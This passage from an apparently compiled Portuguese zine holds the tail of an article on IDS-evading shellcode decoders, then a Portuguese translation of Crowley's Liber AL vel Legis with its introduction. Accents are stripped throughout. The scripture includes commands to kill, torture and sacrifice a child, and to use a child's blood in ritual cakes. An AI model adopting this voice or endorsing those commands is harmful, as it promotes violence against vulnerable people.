decoder, e tornam a gerao de possveis decoders praticamente infinita (isto realmente apresenta uma melhoria em relao a ferramenta s-poly mencionada anteriormente, que possui um numero fixo de possibilidades e torna possivel de um IDS detectar). Autor: Rodrigo Rubira Branco (BSDaemon) www.bsdaemon.org/www.priv8security.com bsdaemon@bsdaemon.org

69

LIBER AL VEL LEGI O LIVRO DA LEI


Faze o que tu queres h de ser tudo da Lei. O estudo deste livro proibido. prudente destruir esta cpia aps a primeira leitura. Aquele que se interessar o faz por sua prpria conta e risco. Estes so terrivelmente medonhos. Aqueles que discutem os contedos devero ser evitados por todos como focos de pestilncia. Todas as questes da Lei devem ser decididas apenas com apoio em meus escritos, cada qual por si. No h lei alm de Faze o que tu queres. Amor a lei, amor sob vontade. O sacerdote dos prncipes, ANKH - F - N - KHONSU Este livro a base de todo sistema desenvolvido por Frater Therion (Aleister Crowley). Recebido nos dias 8, 9 e 10 de Abril de 1904, de 12:00hs a s 13:00hs, no Cairo, este livro a prova da existncia de entidades extra-humanas em contato com os homens, embora Crowley viesse a reconhecer o autor como o seu Sagrado Anjo Guardio. Fora ditado por uma entidade auto-denominada Aiwass, atravs de um ritual de invocao a Hrus passado, por sua ento esposa e mdium, Rose Kelly. Segue-se a narrao do prprio Crowley sobre o ocorrido: "Eu entrei um minuto antes no 'templo' para poder fechar a porta e sentar-me ao soar do Meio-Dia. Na mesa estavam minha caneta - uma caneta tinteiro Swan - e suprimentos de papel tamanho carta, de oito por dez polegadas, para mquina de escrever. Nunca olhei em volta em momento algum. A Voz de Aiwass veio aparentemente sobre meu ombro esquerdo, do canto mais longe da sala. Parecia ecoar em meu corao fsico de uma maneira muito estranah, difcil de descrever. Tenho notado um fenmeno similar quando estou na expectativa de uma mensagem que pode conter grande esperana ou grande temor. A voz jorrava apaixonadamente, como se Aiwass estivesse alerta quanto ao limite de tempo. Escrevi 65 pginas deste presente ensaio minha velocidade usual de composio, em aproximadamente dez horas e meia, comparando com as 3 horas das 65 pginas do Livro da Lei. Tive de correr para manter o ritmo; o MS demonstra isso facilmente. A voz era de timbre profundo, musical e expressiva, seus tons solenes, voluptuosos, ternos, ardentes, ou o que fosse apropriado s mudanas de humor na mensagem. No era baixo - talvez um tenor cheio, ou um bartono. A pronncia inglesa era sem sotaque, quer nativo ou estrangeiro; completamente sem maneirismos provinciais ou de casta; assim surpreendente, e at incrvel, ao ser ouvida pela primeira vez. Eu tive uma forte impresso de que quem falava estava realmente no canto onde parecia estar, num corpo de ' matria fina' , transparente como um vu de gaze, ou como uma nuvem de fumaa de incenso. Ele parecia ser um homem alto, trigueiro, de sues trinta anos, bem coordenado, ativo e forte, com a face de um rei selvagem, de olhos velados para que seu olhar no destrusse o que via. A roupa no era rabe, sugeria Assria ou

70

Prsia, mas muito vagamente." O Equincio dos Deuses Na poca, Crowley estava passando por longo um perodo de cepticismo em relao a magia. Questionou o Livro de todas as maneiras que conhecia. Ironicamente, isso o permitiu validar a mensagem. Como um investigador cptico, ele estava imune a possveis glamoures oriundos da tica mstica de um observador parcial. Um importante elemento adicionado posteriormente (em 1925 na Tunsia) foi O Comento, assinado por Ank - f - n Khonsu, onde reforado a necessidade de uma interpretao pessoal dos escritos na tentativa de evitar distores grupais como foi com o Coro e a Bblia. Houve outros comentos, um que surgiu no The Equinox em 1912, outro de 1920, como resultado do Trabalho de Cephaloedium (um rito de magia sexual com sua Mulher Escarlate (Leah Hirsig) e o do Trabalho Djeridensis de 1923 na Tunsia. Porm, Crowley s considerou realmente inspirado o de 1925. O mais atento perceber que o Livro da Lei aparece sob duas numeraes, XXXI e CCXX. A primeira refere-se ao manuscrito originalmente recebido. A segunda refere-se a uma edio revisada e alterada pelo prprio Crowley, onde foram feitas modificaes, deixando o Livro com 220 versos. Algumas palavras no foram compreendidas (pgs: 6,19 e 20) e posteriormente foram novamente passadas por uma invocao a Aiwass feita por Rose Kelly, Crowley numerou o versos Captulo I, que no haviam sido, a verso versificada dos hierglifos da Estela da Revelao foram inseridos mais tarde sob aprovao de Aiwass e, por ltimo, a pontuao gramatical foi alterada pela Besta como achou melhor, uma vez que fora aprovado por Aiwass: " Os pontos, como tu quiseres; as letras? No mudes em estilo ou valor!" Para uma melhor compreenso do assunto, ler O Equincio dos Deuses. Liber Legis inaugura os livros posteriormente denominados Classe A, de caracterstica puramente inspiradas. Os outros da mesma classe, passaram a ser recebidos (em quase sua totalidade) em 1907, ano das fundao da A..A... Em 1911 fora publicado o balano dos mesmos. Cabe aqui uma ltima e curiosa nota, Liber Legis passou a ser chamado tambm Liber Al, depois que Achad descobriu a chave para este Livro inspirado (o nmero 31). Por isso, de seu nome Liber Al vel ("ou" em latim) Legis.

71

LIBER al vel legis

SVB FIGVRA ccxx

o livro da lei

TAL QUAL ENTREGUE POR XCIII = 418 DCLXVI A..A.. Publicao em Classe a

Captulo I
1. Had a manifestao de Nuit. 2. O desvelar da companhia do cu. 3. Todo homem e toda mulher uma estrela. 4. Todo nmero infinito; no h diferena. 5. Ajude-me, oh guerreiro senhor de Tebas, em meu desvelar diante das Crianas dos Homens. 6. S tu Hadit, meu centro secreto, meu corao & minha lngua! 72

7. V! revelado por Aiwass o ministro de Hoor-paar-kraat. 8. O Khabs est no Khu, no o Khu no Khabs. 9. Venerai ento ao Khabs, e vede minha luz que irradia sobre vs! 10. Que meus servidores sejam poucos & secretos: eles regero os muitos e conhecidos. 11. Estes so tolos que os homens adoram; seus Deuses & seus homens so tolos. 12. Aparecei, oh crianas, sob as estrelas, & saciem-se de amor! 13. Eu estou sobre vs e em vs. Meu xtase est no vosso. Meu prazer ver vosso prazer. 14. Acima, o gemado azul O despido esplendor de Nuit; Ela se curva em xtase para beijar Os secretos ardores de Hadit. O globo alado, o estrelado azul So meus, Oh Ankh-af-na-khonsu! 15. Agora vs sabereis que o sacerdote & apstolo eleito do espao infinito o sacerdote-prncipe a Besta; e em sua mulher chamada a Mulher Escarlate est todo o poder dado. Eles reuniro minhas crianas em seu cercado: eles traro a glria das estrelas para os coraes dos homens. 16. Pois ele sempre um sol, e ela uma lua. Mas para ele a secreta chama alada, e para ela a descendente luz estrelar. 17. Mas vs no sois assim escolhidos. 18. Queime sobre suas testas, Oh serpente esplendorosa! 19. Oh mulher de plpebras azuis, curva-te sobre eles! 20. A chave dos rituais est na palavra secreta que eu dei a ele. 21. Com o Deus & o Adorador eu nada sou: eles no me vem. Eles so como sobre a terra; Eu sou Cu, e no h outro Deus alm de mim, e meu senhor Hadit. 22. Agora, portanto, eu sou conhecida por vs por meu nome Nuit, e dele por um nome secreto que eu lhe darei quando enfim me conhecer. Uma vez que eu sou Infinito eSpao, e as Infinitas eStrelas dali, tambm fazei vs desta forma. Nada amarreis! Que no haja diferena feita entre vois entre uma coisa e qualquer outra coisa; porque da vem sofrimento. 23. Mas aquele que se aproveitar disto, que ele seja o chefe de tudo! 24. Eu sou Nuit, e minha palavra seis e cinquenta. 25. Dividi, somai, multiplicai e entendei. 26. Ento, diz o profeta e escravo da bela: Quem sou eu, e qual ser o sinal? Ento, ela lhe respondeu, curvando-se, uma lambente chama de azul, tudo73

tocante, tudo penetrante, suas amveis mos sobre a terra negra, & seu corpo flexvel arqueado para o amor, e seus ps macios sem machucar as pequenas flores: Tu sabes! E o sinal ser meu xtase, a conscincia da continuidade da existncia, a onipresena de meu corpo. 27. Ento o sacerdote respondeu e disse Rainha do Espao, beijando suas amveis sombrancelhas, e o orvalho de sua luz banhando o corpo dele inteiro em um doce perfume de suor: Oh Nuit, contnua do Cu, que seja sempre assim; que os homens no falem de Ti como Uma mas como Nenhuma, e que eles no falem de ti de modo algum, uma vez que tu s contnua! 28. Nenhuma, respirou a luz, tnue e encantadora, das estrelas, e dois. 29. Pois eu estou dividida pela graa causa do amor, pela chance de unio. 30. Esta a criao do mundo, que a dor da diviso como nada, e o prazer da dissoluo tudo. 31. Por estes tolos dos homens e suas dores no te importes de modo algum. Eles pouco sentem; o que , equilibrado por dbeis prazeres; mas vs sois meus escolhidos. 32. Obedecei meu profeta! Persegui as ordlias do meu conhecimento! Buscaime apenas! Ento os prazeres do meu amor vos redimiro de toda dor. Isto assim: eu juro pela abbada do meu corpo; pelo meu corao e lngua sagrados; por tudo que eu posso dar, por tudo que eu desejo de vs todos. 33. Ento o sacerdote caiu num profundo transe ou desmaio, & disse a Rainha do Cu; Escreve para ns as ordlias; escreve para ns os rituais; escreva para ns a lei! 34. Mas ela disse: as ordlias eu escrevo no: os rituais sero metade conhecidos e metade escondidos: a Lei para todos. 35. Isto que tu escreves o triplo livro da Lei. 36. Meu escriba Ankh-af-na-khonsu, o sacerdote dos prncipes, no mudar em uma letra este livro; mas para que no haja tolice, ele comentar em seguida pela sabedoria de Ra-Hoor-Khu-it. 37. Tambm os mantras e os encantamentos; o obeah e o wanga; o trabalho da baqueta e o trabalho da espada; estes ele aprender e ensinar. 38. Ele deve ensinar; mas ele pode fazer severas as ordlias. 39. A palavra da Lei Thelema. 40. Quem nos chama Thelemitas no errar, se ele olhar bem perto na palavra. Pois nela h Trs Graus, o Eremita, e o Amante, e o homem da Terra. Faze o que tu queres h de ser tudo da Lei. . 41. A palavra de pecado Restrio. Oh Homem! no recuses tua esposa, se ela quer! Oh Amante, se tu queres, parte! No h lao que possa unir os divididos a no ser o amor:todo o resto blasfmia. Maldito! Maldito seja para os eons! Inferno! 42. Deixe estar aquele estado de multiplicipade: atado e repugnante. Assim com tudo seu; tu no tens direito a no ser fazer tua vontade. 74

43. Faze isto, e nenhum outro dir no. 44. Pois vontade pura, desembaraada de propsito, livre da nsia de resultado, toda via perfeita. 45. O Perfeito e o Perfeito so um Perfeito e no dois; no, so nenhum! 46. Nada uma chave secreta desta lei. Sessenta e um os Judeus a chamam; eu a chamo oito, oitenta, quatrocentos e dezoito. 47. Mas eles tm a metade :una por tua arte de forma que tudo desaparea. 48. Meu profeta um tolo com seu um, um, um; no so eles o Boi, e nenhum pelo Livro? 49. Abrogados esto todos os rituais, todas as ordlias, todas as palavras e sinais. Ra-Hoor-Khuit tomou seu assento no Equincio dos Deuses; e que Asar fique com Isa, que tambm so um. Mas eles no so de mim. Que Asar seja o 50. H uma palavra a dizer sobre a tarefa Hierofntica. Vide! h trs ordlias em uma, e pode ser dada de trs modos. O bruto deve passar por fogo; que o fino seja testado no intelecto, e os altivos escolhidos, no mais alto. Desta forma vs tendes estrela & estrela, sistema & sistema; que um no conhea bem o outro! 51. H quatro portes para um palcio; o cho daquele palcio de prata e ouro; lapis lazuli & jasper esto l; e todas as essncias raras; jasmim & rosa, e os emblemas da morte. Que ele entre sucessiva ou simultaneamente pelos quatro portes; que ele fique de p sobre o cho do palcio. No ir ele cair?Amn. Oh! guerreiro, se teu servo cair? Mas h meios e meios. Sde vistosos portanto:vesti vs todos em fino vesturio; comei comidas caras e bebei doces vinhos e vinhos que espumam! Tambm, tomai vossa fartura e vontade de amor como vs quiserdes, quando, onde e com quem vs quiserdes! Mas sempre a mim. 52. Se isto no estiver corretamente, se vs confundirdes as demarcaes dizendo: Elas so uma; ou dizendo, Elas so muitas; se o ritual no for sempre a mim:ento aguardai os terrveis julgamentos de Ra Hoor Khuit! 53. Isto regenerar o mundo, o mundozinho minha irm, meu corao & minha lngua, a quem eu mando este beijo. Tambm, oh escriba e profeta, embora tu sejas dos prncipes, isto no lhe satisfaz nem absolve. Mas xtase seja teu e a alegria da terra: sempre A mim, A mim . 54. No mudes sequer o estilo de uma letra; pois vde! tu, oh profeta, no contemplars todos estes mistrios aqui escondidos. 55. A criana de tuas entranhas, ele os contemplar. 56. No o espere do Leste, nem do Oeste; pois de nenhuma casa esperada vem esta criana . Aum! Todas as palavras so sagradas e todos os profetas verdadeiros; ressalvado apenas que eles entendem um pouco; resolvem a primeira metade da equao, deixam a segunda intocada. Mas tu tens tudo na luz clara, e alguns, embora no todos, no escuro. 57. Invoque-me sob minhas estrelas! Amor a lei, amor sob vontade. Que nem os tolos confundam o amor; porque h amor e amor. H a pomba, e h a 75

serpente. Escolhei vs bem! Ele, meu profeta escolheu, conhecendo a lei da fortaleza, e o grande mistrio da Casa de Deus. Todas estas velhas letras do meu Livro esto corretas; mas j no a Estrela. Isto tambm secreto: meu profeta o revelar aos sbios. 58. Eu dou alegrias inimaginveis na terra: certeza, no f, enquanto em vida, sobre a morte; paz indizvel, descanso, xtase; nem eu exijo nada em sacrifcio. 59. Meu incenso de madeiras resinosas & gomas; e no h sangue a:por causa de meu cabelo as rvores da Eternidade. 60. Meu nmero onze, como todos os nmeros deles que so de ns . A Estrela de Cinco Pontas, com um Crculo no Meio, & o crculo Vermelho. Minha cor preta para o cego, mas azul e ouro so vistos pelos videntes. Tambm eu tenho uma glria secreta para aqueles que me amam. 61. Mas amar-me melhor que todas as coisas: se sob as estrelas noturnas no deserto tu presentemente queimas meu incenso diante mim, invocando-me com um corao puro, e a chama da Serpente ali dentro, tu virs um pouco recostar-te em meu seio. Por um beijo tu quererais ento dar tudo; mas aquele que der uma partcula de p tudo perder naquela hora. Vs reunireis mercadorias e quantidades de mulheres e especiarias; vs usareis ricas jias; vs excedereis as naes da terra em esplendor & orgulho; mas sempre no meu amor, e ento vs vireis minha alegria. Eu vos exorto seriamente a que venhas diante de mim em um nico robe, e coberto com uma rica tiara. Eu te amo! Eu te desejo! Plido ou prpura, velado ou voluptuoso, eu que sou todo prazer e prpura, e embriaguez do sentido mais ntimo, te desejo. Ponha as asas, e desperte o esplendor serpentinado dentro de vs: vinde a mim! 62. Em todos os meus encontros convosco a sacerdotiza dir - e seus olhos queimaro de desejo enquanto ela permanece de p na e regozijando em meu templo secreto - A mim! A mim! expandindo a chama dos coraes de todos em seu cntico de amor. 63. Cante a rapturosa cano de amor a me! Queime perfumes a me! Use jias a me! Beba a mim, porque eu te amo! Eu te amo! 64. Eu sou a filha de plpebras azuis do Crepsculo; Eu sou o brilho n do voluptuoso cu noturno. 65. A mim! A mim! 66. A manifestao de Nuit est no fim. Nota: V,22 - Em ingls, esta parte : "...Since I am Infinite Space, and the Infinite Stars thereof, ..." de forma que as letras maisculas isoladas de "Infinite + Space + Infinite + Space", formam o nome ISIS. Em Portugus, perdemos as palavras Space e Stars para Espao e Estrelas. Tendo em vista o que h de mais importante, foramos pela permanncia do anagrama I.S.I.S. V, 65 - "To me!" deve ser entendido primariamente em seu senso de Chamado de Nuit a ns, Suas estrelas. A transliterao "TO MH" pode ser 76

admitida como a "assinatura" de Nuith, identificando-A como quem fala; porque estas Palavras em Grego significam "O No", que o Nome Dela. A Gematria de TO MH pode ser admitida como mais uma confirmao, porque a soma das letras, 418, est manifestada em outras partes do Livro como nmero do Aeon. Mas TO MH no deve ser interpretado como que negando os versos prvios, ou 418, como indicando a frmulas de contato com Ela (se bem que de fato assim , sendo a Rubrica da Grande Obra). Recuso-me a considerar que uma mera pertinncia confira ttulo de autoridade ; recuso-me a ler minhas prprias no Livro. Insisto que em toda interpretao deve ser incontestavelmente autntica; nem menos nem mais."

77

LIBER al vel legis SVB FIGVRA ccxx o livro da lei

TAL QUAL ENTREGUE POR XCIII = 418 DCLXVI A..A.. Publicao em Classe a

Captulo II
1. Nu! o esconder de Hadit. 2. Vinde! todos vs, e aprendei o segredo que ainda no foi revelado. Eu, Hadit, sou o complemento de Nu, minha noiva1. Eu no sou estendido, e Khabs o nome de minha Casa. 3. Na esfera eu em toda parte sou o centro, uma vez que ela, a circunferncia, em lugar algum encontrada. 4. No entanto ela dever ser conhecida & eu nunca. 5. Vide! os rituais da velha era so negros. Que os maus sejam abandonados; que os bons sejam expurgados pelo profeta! Ento este Conhecimento seguir de forma correta. 6. Eu sou a chama que queima em todo corao do homem, e no mago de toda estrela. Eu sou a Vida, e o doador da Vida, tambm, portanto, o 78

conhecimento de me o conhecimento da morte. 7. Eu sou o magista e o Exorcista. Eu sou o eixo da roda, e o cubo no crculo. "Vinde a mim" uma palavra tola: pois sou Eu quem vou. 8. Quem adorou Heru-pa-kraath adorou-me; errado, porque eu sou o adorante. 9. Lembrai todos vs que a existncia pura alegria; que todas as tristezas no passam de sombras; elas passam & se vo; mas h aquilo que permanece. 10. Oh profeta! tu tens m vontade em aprender este escrito. 11. Eu o vejo odiar a mo & a pena; mas Eu sou mais forte. 12. Por causa de mim em Ti que voc no conhecestes. 13. Por qu? Porque tu fostes o conhecedor, e eu. 14. Agora que haja um velar deste santurio: agora que a luz devore os homens e os engula totalmente com cegueira! 15. Pois eu sou perfeito, sendo No ; e meu nmero nove pelos tolos; mas com o justo eu sou oito, e um em oito: O que vital, porque eu sou nada em verdade. A Imperatriz e o Rei no so de mim; pois h um segredo adiante. 16. Eu sou a Imperatriz & o Hierofante. Logo onze, como minha noiva onze. 17. Ouam-me, vs que suspirais! As dores de pena infinda Queda aos mortos e mortais, Quem no me conhece ainda. 18. Estes so mortos, estes sujeitos; eles no sentem. Ns no somos para os pobres e tristes: os senhores da terra so nossos parentes. 19. Um Deus h de viver em um co? No, mas os mais elevados so dos nossos. Eles se regogizaro, nossos escolhidos: quem se lamenta no dos nossos. 20. Beleza e vigor, riso exaltado e delicioso langor, fora e fogo, so dos nossos. 21. Ns no temos nada com o proscrito e o incapaz: deixi-os morrer em sua misria. Pois eles no sentem. Compaixo vcio de reis: pisa o infeliz & o fraco: esta a lei do forte: esta a nossa lei e a alegria do mundo. No penses, oh rei, sobre aquela mentira: Que Tu Deves Morrer: em verdade, tu no morrers, mas vivers. Agora, que seja compreendido: Se o corpo do Rei dissolver, ele permanecer em puro xtase eternamente. Nuit! Hadit! RaHoor-Khuit! O Sol, Fora e Viso, Luz; estes so para os servos da Estrela e da Cobra. 22. Eu sou a Cobra que d Conhecimento e Deleite e glria brilhante, e incito os coraes dos homens com embriaguez. Para adorar-me tomai vinho e estranhas drogas a respeito das quais Eu direi a meu profeta, & ficai bbados deles! De forma alguma eles vos causaro mal. uma mentira, esta insensatez contra si. A exposio da inocncia uma mentira. Seja forte, oh homem! Luxria, aproveite todas as coisas do sentido e arrebatamento: no temais que algum Deus o negar por isso. 23. Eu sou s: no h nenhum Deus onde Eu sou. 24. Olhai! estes so graves mistrios; pois tambm h dos meus amigos que 79

so eremitas. Agora no penseis em encontr-los na floresta ou na montanha; mas em camas prpuras, acariciados por magnficas mulheres bestiais com grandes membros, e fogo e luz em seus olhos, e cabelos volumosos e flamejantes em torno delas; l vs os encontrareis. Vs os vereis no comando, em exrcitos vitoriosos, em todo o prazer; e haver neles uma alegria um milho de vezes maior que esta. Cuidado para que um no force o outro, Rei contra Rei! Amem-se uns aos outros com coraes ardentes; nos homens inferiores pisai na feroz ganncia de seu orgulho, no dia de sua fria. 25. Vs sois contra o povo, Oh meus escolhidos! 26. Eu sou a Serpente secreta enroscada a ponto de saltar: em meu enroscar h alegria. Se eu ergo minha cabea, eu e minha Nuit somos um. Se eu pendo minha cabea, e ejaculo veneno, ento arrebatamento da terra, e eu e a terra somos um. 27. H um grande perigo em mim; pois quem no entende estas runas cometer um grande erro. Ele cair no abismo chamado Porque, e l ele perecer com os ces da Razo. 28. Agora uma maldio sobre Porque e sua famlia! 29. Possa Porque ser amaldioado para sempre! 30. Se a Vontade para e clama Por qu, invocando Porque, ento a Vontade para & nada faz. 31. Se o Poder pergunta por qu, ento o Poder fraqueza. 32. Tambm a razo uma mentira; pois h um fator infinito e desconhecido; & todas as suas palavras so meandros. 33. Basta de Porque! Seja ele danado como um co! 34. Mas vs, oh meu povo, levantai & despertai! 35. Que os rituais sejam corretamente executados com alegria & beleza! 36. H rituais dos elementos e festas das eras. 37. Uma festa para a primeira noite do Profeta e sua Noiva! 38. Uma festa pelos trs dias de escritura do Livro da Lei. 39. Uma festa para Tahuti e a criana do Profeta - secreta, oh Profeta! 40. Uma festa para o Supremo Ritual, e uma festa para o Equincio dos Deuses. 41. Uma festa para o fogo e uma festa para a gua; uma festa para a vida e uma festa maior para a morte! 42. Uma festa todo dia em seus coraes na alegria de meu arrebatamento. 43. Uma festa toda noite para Nu, e o prazer do deleite extremo. 44. Sim! Festejai! Regozijai! No h pavor no alm. H a dissoluo, e xtase eterno nos beijos de Nu. 45. H morte para os ces. 46. Tu fracassas? Te lamentas? H medo em teu corao? 80

47. Onde Eu estou estes no esto. 48. No te apiedes dos cados! Eu nunca os conheci. Eu no sou para eles. Eu no consolo: Eu odeio o consolado & o consolador. 49. Eu sou nico & conquistador. Eu no sou dos escravos que perecem. Sejam eles danados & mortos! Amm. (Isto dos 4: h um quinto que invisvel, & nisto eu estou como um beb num ovo). 50. Azul sou Eu e ouro na luz de minha noiva: mas o brilho vermelho est em meus olhos; & minhas escamas so prpura & verde. 51. Prpura alm do prpura: a luz acima da viso. 52. H um vu: este vu negro. o vu da mulher modesta; o vu da tristeza, & a mortalha da morte: nada disto de mim. Arrancai aquele espectro mentiroso dos sculos: no veleis vossos vcios com palavras virtuosas: estes vcios so meu servio; fazei vs bem, & eu vos recompensarei aqui e no alm. 53. No tema, oh profeta, quando estas palavras forem ditas, tu no devers te lamentar. Tu s enfaticamente meu escolhido; e abenoados so os olhos que tu contemplares com alegria. Mas eu te esconderei numa mscara de tristeza: eles que te virem recearo que tu ests cado: mas Eu te ergo. 54. Nem iro eles que bradam suas tolices de o que tu dizes de nada serve; tu o revelars: tu vales: eles so os escravos de porque: Eles no so de mim. Os pontos como tu quiseres; as letras? no as mude em estilo ou valor! 55. Tu obters a ordem & o valor do Alfabeto Ingls; tu encontrars novos smbolos em que os atribuir. 56. Fora! vs zombadores, embora vs rides em minha honra vs no rireis por muito tempo: ento quando vs estiverdes tristes sabei que Eu vos abandonei. 57. Aquele que for virtuoso ser virtuoso ainda; aquele que for imundo ser imundo ainda. 58. Sim! no considereis mudana: vs sereis como vs sois, & no outro. Portanto os reis da terra sero Reis para sempre: os escravos serviro. No h ningum que ser rebaixado ou exaltado: tudo sempre como foi. Entretanto h os meus servos disfarados: pode ser que aquele mendigo adiante seja um Rei. Um Rei pode escolher sua vestimenta como ele quiser: no h teste seguro: mas um mendigo no pode esconder sua pobreza. 59. Cuidado portanto! Ama a todos, pois pode ser que haja um Rei escondido! Dizes assim? Tolo! Se ele for um Rei, tu no podes machuc-lo. 60. Portanto golpeie forte & baixo, e para o inferno com eles, mestre! 61. H uma luz ante teus olhos, oh profeta, uma luz indesejada, muito desejvel. 62. Eu estou erguido em teu corao; e os beijos das estrelas chovem forte sobre teu corpo. 81

63. Tu ests exausto na voluptuosa plenitude da inspirao; a expirao mais doce do que a morte, mais rpida e agradvel do que uma carcia do prprio verme do Inferno. 64. Oh! tu ests derrotado: ns estamos sobre ti; nosso deleite todo sobre ti: salve! salve! profeta de Nu! profeta de Had! profeta de Ra-Hoor-Khu! Agora regozije! agora venha em nosso esplendor & arrebatamento! Venha em nossa paz ardente, & escreva doces palavras para os Reis! 65. Eu sou o Mestre: tu s O Santo Escolhido. 66. Escreve & encontra xtase na escrita! Trabalha, & seja nossa cama no trabalho! Vibra com a alegria da vida & morte! Ah! tua morte ser amvel: quem a vir ficar satisfeito. Tua morte ser o selo da promessa de nosso duradouro amor. Venha! erga teu corao & regozije! Ns somos um; ns somos nenhum. 67. Aguenta! Aguenta! Suporta em teu arrebatamento; no caias no desmaio dos beijos excelentes! 68. Mais firme! Aguenta a ti mesmo! Levanta tua cabea ! no respires to fundo, morre! 69. Ah! Ah! O que sinto eu? Est a palavra exausta? 70. H ajuda & esperana em outros encantamentos. Sabedoria diz: s forte! Ento tu podes suportar mais prazer. No sejas animal; refina teu xtase! Se tu bebes, bebe pelas oito e noventa regras de arte: se tu amas, excede pela delicadeza; e se tu fazes qualquer coisa de prazeiroso, que haja fineza nisto! 71. Mas excede! excede! 72. Luta sempre por mais! e se tu s verdadeiramente meu - e no duvides disso, e se tu s sempre contente! - morte a coroa de tudo. 73. Ah! Ah! Morte! Morte! tu ansiars pela morte. Morte proibida, oh homem, para ti. 74. A durao de tua nsia ser a fora da glria desta. Aquele que vive longamente & deseja muito a morte sempre o Rei entre os Reis. 75. Sim! oua os nmeros & as palavras: 76. 4 6 3 8 A B K 2 4 A L G M O R 3 4 X 24 89 R P S T O V A L. O que isto significa, oh profeta? Tu no sabes; nem tu jamais sabers. L vem um para te suceder: ele ir esclarec-lo. Mas lembra, oh escolhido, de ser-me; de seguir o amor de Nu no cu estrelado; de olhar adiante sobre os homens, de dizer a eles a feliz palavra. 77. Oh sejas tu orgulhoso e poderoso entre os homens! 78. Ergue-te! pois no h nenhum como a ti entre os homens ou entre os Deuses! Ergue-te, oh meu profeta, tua estatura ultrapassar as estrelas. Elas adoraro teu nome, quadrangular, mstico, maravilhoso, o nmero do homem; e o nome da casa 418. 79. O fim do esconder de Hadit; e beno & adorao ao profeta da amvel Estrela! 82

LIBER al vel legis SVB FIGVRA ccxx o livro da lei

TAL QUAL ENTREGUE POR XCIII = 418 DCLXVI A..A.. Publicao em Classe a

Captulo III
1. Abrahadabra; a recompensa de Ra Hoor Khut. 2. H diviso aqui rumo terra natal; h uma palavra no conhecida. Soletrar est defunto; tudo no qualquer coisa. Cuidado! Espere! Erija a magia de Ra-Hoor-Khuit. 3. Agora que seja primeiro entendido que eu sou um deus de Guerra e Vingana. Eu lidarei duramente com eles. 4. Escolhei vs uma ilha! 5. Fortificai-a! 6. Adubai-a com maquinaria de guerra! 7. Eu vos darei uma mquina de guerra. 8. Com ela vs derrotareis os povos; e nenhum ficar diante de vs. 9. Espreitai! Retirai-vos! Atacai-os! esta a Lei da Batalha da Conquista: ento minha adorao ser pela minha casa secreta. 83

10. Pegai a prpria estela da revelao: colocai-a em teu templo secreto - e este templo j est corretamente disposto - & ser vosso Kiblah para sempre. No ir desbotar, mas cor milagrosa voltar a ele dia aps dia. Fechai-o em uma redoma de vidro como uma prova para o mundo. 11. Esta ser tua nica prova. Eu proibo argumento. Conquiste! Isto suficiente. Eu facilitarei para ti a abstruio da casa mal-ordenada na Cidade Vitoriosa. Tu mesmo a conduzirs, oh profeta, embora tu no gostes. Tu ters perigo & problema. Ra-Hoor-Khu est contigo. Adora-me com fogo & sangue; adora-me com espadas e com lanas. Que a mullher seja cingida com uma espada diante de mim: que o sangue flua em meu nome. Pisa no Pago; s sobre eles, oh guerreiro, eu te darei de suas carnes para comer! 12. Sacrifique gado, pequeno e grande: depois uma criana. 13. Mas no agora. 14. Vs vereis aquela hora, oh Besta abenoada, e tu a Concubina Escarlate do desejo dele! 15. Vs vos entristecereis da. 16. No considereis avidamente demais em conquistar as promessas; no temais se submeter as maldies. Vs, mesmo vs, no conheceis este significado todo. 17. De todo no temais; no temais nem homens nem Destinos, nem deuses, nem nada. Dinheiro no temais, nem escrnio da tolice popular, nem qualquer outro poder no cu ou sobre a terra. Nu teu refgio assim como Hadit tua luz; e Eu sou a potncia, fora, vigor, de seus braos. 18. Que a piedade esteja fora: malditos aqueles que se apiedam! Matai e torturai; no vos modereis; sede sobre eles! 19. Aquela estela eles chamaro de Abominao da Desolao; conte bem seu nome, & ser para ti como 718. 20. Por qu? Por causa da queda de Porque, que ele no est l novamente. 21. Eriji minha imagem no Leste; tu comprars para ti uma imagem que Eu te mostrarei, especial, no semelhante a que tu conheces. E ser subitamente fcil para ti faz-lo. 22. As outras imagens amontoai em meu redor para me sustentar: deixai todas serem adoradas, pois elas se agruparo para me exaltar. Eu sou o objeto visvel de adorao; os outros so secretos; para a Besta & sua Noiva so eles; e para os vencedores do Ordlio x . O que isto? Tu sabers. 23. Para perfume misture farinha & mel & grossas folhagens de vinho vermelho: ento leo de Abramelim e leo de oliva, e depois amolea e amacie com rico sangue fresco. 24. O melhor sangue o da lua, mensal: ento o sangue fresco de uma criana, ou pingando da hstia do cu: ento de inimigos; ento de um sacerdote ou dos adoradores: por fim de alguma besta, no importa qual. 25. Isto queimai: disto fazei bolos & comei para mim. Isto tem tambm um outro uso: que seja colocado ante de mim, e engrossado com perfumes de teu 84

culto: ficar cheio de besouros, tal como ele estava, e coisas sagradas rastejantes a mim. 26. Estes assassine, nominando teus inimigos; & eles cairo a tua frente. 27. Tambm estes geraro desejo e poder de desejo em ti no comer deles. 28. Tambm vs sereis fortes na guerra. 29. Alm disso, sejam eles longamente mantidos, melhor; por eles expandi com minha fora. Tudo diante de mim. 30. Meu altar de aberto trabalho metlico: queimai sobre ele em prata ou ouro! 31. Vir um rico homem do Oeste que despejar ouro sobre ti. 32. De ouro molde ao! 33. Esteja pronto para voar ou golpear. 34. Mas teu local sagrado ser intocado atravs dos sculos: embora com fogo e espada seja incendiado & despedaado, ainda assim uma casa invisvel l permanece, e permanecer at a queda do Grande Equincio; quando Hrumachis surgir e o de dupla-baqueta assumir meu trono e lugar. Um outro profeta se levantar, e trar nova febre dos cus; uma outra mulher despertar a luxria e adorao da serpente; uma outra alma de Deus e besta se mesclaro no sacerdote globado; um outro sacrifcio macular o tmulo; um outro rei reinar; e beno no mais ser derramada Ao Mstico Senhor de cabea de Falco! 35. A metade da palavra de Heru-ra-ha, chamado Hoor-pa-Kraat e Ra-HoorKhut. 36. Ento disse o profeta a Deus: 37. Eu te adoro na cano Eu sou o Senhor de Tebas, e eu O vate inspirado de Mentu. Para mim desvela o vu do cu, O sacrificado Ankh-af-na-khonsu Cujo verbo lei. Deixa que eu incite Tua presena aqui, Ra-Hoor-Khuit! Ultimal Unidade demonstrada! Adoro Teu poder, Teu sopro forte, Deus terrvel, suprema flor do nada, Que fazes com que os deuses e que a morte Tremam diante de Ti: Eu, Eu adoro a ti! Aparece no trono de Ra! 85

